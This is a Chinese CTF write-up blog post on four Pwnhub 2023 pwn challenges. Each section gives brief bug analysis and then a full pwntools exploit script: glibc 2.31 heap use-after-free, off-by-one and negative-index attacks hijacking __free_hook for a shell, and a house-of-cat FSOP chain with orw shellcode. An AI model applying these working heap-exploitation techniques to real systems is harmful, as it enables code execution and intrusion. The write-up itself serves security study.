Pwnhub 2023 3月公开赛 WP

Pwnhub 2023 3月公开赛 WP

sh_v1_1

glibc2.31堆题
一堆莫名其妙的全局变量运算,白看了半天最后发现一点用都没有.
恢复一下结构体

1
2
3
4
5
struct file{
long flag;
char filename[32];
char* content_ptr;
}

程序逻辑就是模拟的一个linux终端,输入命令进行相应处理.
漏洞在ln的时候可以备份指针造成uaf

先free两个堆块进tcache,然后uaf部分覆写next指针指向另一个堆块的size域,改成0x421放进unsortedbin泄露libc地址.
之后正常打free_hook就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
def find_libc(func,addr):
    global libc,libc_base,system_addr,binsh_addr,realloc_addr,free_hook_addr,onegadget
    libc = finder(func,addr)
    libc_base = libc.libcbase
    realloc_addr = libc.dump('realloc')
    system_addr = libc.dump('system')
    malloc_hook_addr = libc.dump('__malloc_hook')
    free_hook_addr = libc.dump('__free_hook')
    binsh_addr=libc.dump('str_bin_sh')
    # onegadget = libc.ogg(1)

def touch(file,content):
    io.sendlineafter('>>>>','touch '+file)
    sleep(0.1)
    io.sendline(content)
def cp(file1,file2):
    io.sendlineafter('>>>>','cp '+file1+' '+file2)
def gedit(file,content):
    io.sendlineafter('>>>>','gedit '+file)
    sleep(0.1)
    io.sendline(content)
def ls():
    io.sendlineafter('>>>>','ls')
def cat(file):
    io.sendlineafter('>>>>','cat '+file)
def rm(file):
    io.sendlineafter('>>>>','rm '+file)
def ln(file1,file2):
    io.sendlineafter('>>>>','ln '+file1+' '+file2)

touch('1','a')
touch('2','a')
touch('3','a')
touch('4','a')
touch('5','a')
ln('1','1_ln')
ln('1','1_ln2')
ln('2','2_ln')
ln('3','3_ln')
rm('2')
rm('1')

cat('1_ln')
heap_base = u64(io.recv(6).ljust(8,b'\x00'))-0x4b0
log.success("heap_base is -> "+hex(heap_base))

gedit('1_ln','\xa0')
touch('6','a')
touch('420',flat([0,0x421]))
ln('420','420_ln')
rm('2_ln')
gedit('420_ln','a'*16)
cat('420_ln')
io.recvuntil('a'*16)
main_arena = u64(io.recv(6).ljust(8,b'\x00'))-96
find_libc('__malloc_hook',main_arena-0x10)

gedit('420_ln',flat([0,0x421]))
rm('5')
rm('1_ln2')
gedit('1_ln',p64(free_hook_addr))
touch('HanQi','/bin/sh\x00')
touch('pwn',p64(system_addr))
rm('HanQi')

io.interactive()

ttsc

intro的时候可以泄露栈地址和libc地址.
栈地址只要填满buf就可以顺带出来,
而libc地址得益于scanf的匹配机制.
scanf(“%d”,&v1);时若接收到无法匹配的数据,v1的值将不会被改变.
将原始的v1和v2分成高低部分赋给v8,gdb发现是一个_IO_file_jumps的地址

然后是正常的堆操作,edit的时候有个offbyone,overlap打free_hook就行
(偶然发现最后直接free掉free_hook那个堆块而不是’/bin/sh’那个也能getshell,不太懂)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
intro('a'*0x10,'-','-')
io.recvuntil('a'*16)
rbp = u64(io.recv(6).ljust(8,b'\x00'))
io.recvuntil('age: ')
IO_file_jumps_low = int(io.recv(10))
if IO_file_jumps_low<0:
    IO_file_jumps_low += 0x100000000
io.recvuntil('high: ')
IO_file_jumps_high = int(io.recv(5))
IO_file_jumps = IO_file_jumps_low+(IO_file_jumps_high<<32)
find_libc('_IO_file_jumps',IO_file_jumps)

add(0,0x48,'a')
add(1,0x28,'a')
add(2,0x38,'a')
edit(0,flat(['a'*0x40,0x50,b'\x71']))
delete(1)
add(1,0x68,'a')
delete(0)
delete(2)
edit(1,flat(['\x00'*0x28,0x41,free_hook_addr]))

io.sendline()

add(0,0x38,'/bin/sh\x00')
add(2,0x38,p64(system_addr))
delete(0)

io.interactive()

three_edit

glibc2.31堆题,限制了堆块大小0x50-0x70
虽然题目叫three_edit,汇编代码中也确实有一个判断,不过是恒成立的所以可以无限edit.
看半天愣是没发现洞在哪,edit的时候没有检查idx的正负
(其实是关注了一下的,只不过当时看add函数看到idx是个unsigned int就没管了)

写入小于0的idx使edit的时候能使用tcache_perthread_struct中的指针完成uaf.
部分覆写next指针修改size域放进unsortedbin(调整一下堆块的位置就不用爆破一位了),然后切割unsortedbin中的chunk使得unsortedbin chunk的fd指针和某tcache chunk的next指针重合,再次uaf打io_leak.最后劫持free_hook.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
while True:
    io = remote(url,port)
    # io = process('./'+binary)
    for i in range(12):
        add(i,0x60,str(i))
    add(14,0x50,'a')
 
    delete(2)
    delete(3)

    edit(-61,b'\x50')

    add(12,0x60,'a')
    add(13,0x60,'\x00')
    edit(1,flat(['\x00'*0x38,0x421]))
    delete(10)
    add(10,0x50,'a')
    delete(13)

    add(2,0x70,'a')
    add(3,0x70,'a')
    delete(11)
    delete(12)
    delete(5)
    add(13,0x70,'a')
    edit(-61,b'\xa0\x36')

    add(11,0x60,'a')
    fake_stdout = flat([
        0xfbad1800,
        0,0,0,
        b'\x00'
    ])
    try:
        add(12,0x60,fake_stdout)
        io.recv()
        io.recv(8)
        stdin = u64(io.recv(8))
        leak_libc('_IO_2_1_stdin_',stdin)
        if not hex(libc_base).startswith("0x7f"):
            io.close()
            continue
    except:
        io.close()
        continue
    delete(10)
    delete(14)
    edit(-62,p64(free_hook_addr))
    add(14,0x50,'/bin/sh\x00')
    add(10,0x50,p64(system_addr))

    delete(14)

    io.interactive()

tototo

glibc2.31堆题,开了沙箱,程序逻辑感觉有点莫名奇妙的
菜单有malloc、edit、show、delete、calloc.
malloc范围在0x200-0x800
delete只清空了flag位,但是这个位只在delete的时候检查,基本没用
edit存在uaf,但是是read(0,chunk_ptr+9,size-0x30),大概就是防止uaf直接改fd吧,edit有3次机会,超出使用调用edit函数.
然后有个free_hook的检查,不为0就exit.
直接cat就打了…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
malloc(0,0x420)
malloc(1,0x210)
malloc(2,0x410)
malloc(3,0x210)
delete(0)
show(0)
io.recv()
main_arena = u64(io.recv(6).ljust(8,b'\x00'))-96
leak_libc('__malloc_hook',main_arena-0x10)

delete(3)
delete(1)
show(1)
io.recv()
heap_base = u64(io.recv(6).ljust(8,b'\x00'))-0xd10
log.success("heap_base is ->"+hex(heap_base))

malloc(3,0x500)
delete(2)
edit(0,flat([p64(main_arena+1104)[1:],0,io_list_all-0x20]))
malloc(4,0x500)

fake_io_addr = heap_base+0x8e0
cat = b'\x00'*7
cat+=p64(0)*4
cat +=p64(1)+p64(2) # rcx!=0(FSOP)
cat +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
cat +=p64(setcontext_addr+61)#_IO_save_end=call addr(call setcontext/system)
cat = cat.ljust(0x4f, b'\x00')
cat += p64(0)  # _chain
cat = cat.ljust(0x6f, b'\x00')
cat += p64(heap_base+0x1000)  # _lock = a writable address
cat = cat.ljust(0x87, b'\x00')
cat +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
cat = cat.ljust(0xa7, b'\x00')
cat += p64(1) #mode=1
cat = cat.ljust(0xbf, b'\x00')
cat += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x30)  # vtable=IO_wfile_jumps+0x10
cat +=p64(0)*6
cat += p64(fake_io_addr+0x40)  # rax2_addr

frame = flat([heap_base,0x2000,'\x00'*0x10,7,'\x00'*0x10,fake_io_addr+0x160,mprotect_addr])

shellcode = asm('''
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    push 1
    pop rax
    syscall
''')

edit(2,cat+frame+p64(fake_io_addr+0x168)+shellcode)
edit(0,'a')
io.sendlineafter('is:','3')

io.interactive()

kheap

好像是kernel的题,以后回来复现了…

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信